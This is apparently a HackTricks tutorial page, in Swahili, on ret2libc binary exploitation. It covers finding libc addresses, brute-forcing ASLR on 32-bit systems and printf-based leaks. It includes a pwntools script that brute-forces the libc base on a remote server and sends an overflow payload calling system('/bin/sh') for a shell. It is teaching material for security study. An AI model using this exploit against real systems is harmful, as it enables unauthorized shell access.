Ret2lib

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

Kiini cha Ret2Libc ni kuelekeza tena mtiririko wa utekelezaji wa programu iliyo dhaifu kwa function ndani ya shared library (mfano, system, execve, strcpy) badala ya kutekeleza shellcode uliotolewa na mshambuliaji kwenye stack. Mshambuliaji huandaa payload inayobadilisha return address kwenye stack ili kuelekeza kwa function ya maktaba inayotakiwa, huku pia akipanga vigezo vinavyohitajika ili viwe vimewekwa ipasavyo kwa mujibu wa calling convention.

Hatua za Mfano (imefupishwa)

  • Pata anwani ya function ya kuitwa (mfano: system) na amri ya kuitwa (mfano: /bin/sh)
  • Tengeneza ROP chain ili kupitisha argument ya kwanza inayotaja kwa command string na kuelekeza execution flow kwa function

Kupata Anwani

  • Ikiwa libc inayotumika ni ile ya mashine ya sasa, unaweza kupata wapi itapakiwa kwenye kumbukumbu kwa kutumia:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Ikiwa unataka kuangalia kama ASLR inabadilisha anwani ya libc unaweza kufanya:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kwa kujua libc inayotumika, pia inawezekana kupata offset ya kazi ya system kwa:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kujua libc inayotumika, pia inawezekana kupata offset ya string /bin/sh kwa:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Kutumia gdb-peda / GEF

Ukijua libc inayotumika, pia inawezekana kutumia Peda au GEF kupata anwani ya kazi ya system, ya kazi ya exit na ya string /bin/sh:

p system
p exit
find "/bin/sh"

Kutumia /proc/<PID>/maps

Ikiwa mchakato unaunda children kila unapozungumza nao (network server) jaribu soma ile faili (huenda utahitaji kuwa root).

Hapa unaweza kupata kabisa wapi libc imepakiwa ndani ya mchakato na wapi itapakiwa kwa kila mchakato mtoto.

Katika kesi hii imepakiwa katika 0xb75dc000 (Hii itakuwa anwani ya msingi ya libc)

libc isiyojulikana

Inawezekana kwamba hujui libc ambayo binary inachukua (kwa sababu inaweza kuwa kwenye server ambayo huna ufikiaji). Katika hali hiyo unaweza kutumia udhaifu ili leak anwani kadhaa na kubaini ni libc gani inayotumika:

Leaking libc address with ROP

Na unaweza kupata template ya pwntools kwa hili katika:

Leaking libc - template

Tambua libc kwa offsets 2

Angalia ukurasa https://libc.blukat.me/ na tumia anwani chache za functions ndani ya libc ili kubaini toleo linalotumika.

Kukwepa ASLR katika 32 bits

Shambulio hizi za brute-forcing ni za muhimu tu kwa mifumo ya 32bit.

  • Ikiwa exploit ni local, unaweza kujaribu brute-force the base address ya libc (faidika kwa mifumo ya 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ikiwa unashambulia remote server, unaweza kujaribu burte-force the address of the libc function usleep, ukimpatia kama argument 10 (kwa mfano). Ikiwa kwa wakati fulani server inachukua sekunde 10 zaidi kujibu, umeipata anuani ya function hii.

One Gadget

Tekeleza shell kwa kuruka tu hadi moja maalum anuani katika libc:

One Gadget

x86 Ret2lib Code Example

Katika mfano huu ASLR brute-force imeunganishwa katika code na vulnerable binary iliyoko kwenye remote server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Example

Angalia mfano kutoka:

ROP & JOP

ARM64 Ret2lib Example

Katika kesi ya ARM64, agizo la ret huruka mahali ambapo rejista x30 inaonyesha badala ya mahali ambapo rejista ya stack inaonyesha. Kwa hivyo ni ngumu kidogo.

Pia kwa ARM64 agizo hufanya tu kile ambacho agizo kinatakiwa kifanye (haiwezekani kuruka katikati ya maagizo na kugeuza kuwa maagizo mapya).

Tazama mfano kutoka:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Hii inaruhusu leak information from the process kwa kuiita printf/puts na data maalum iliyowekwa kama hoja. Kwa mfano, kuweka anwani ya puts katika GOT ndani ya utekelezaji wa puts kutafanya leak the address of puts in memory.

Ret2printf

Hii kwa msingi inamaanisha kutumia vibaya Ret2lib kuibadilisha kuwa udhaifu wa format strings wa printf kwa kutumia ret2lib kuita printf na thamani za kuufaidisha (inaonekana haifai lakini inawezekana):

Format Strings

Other Examples & references

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks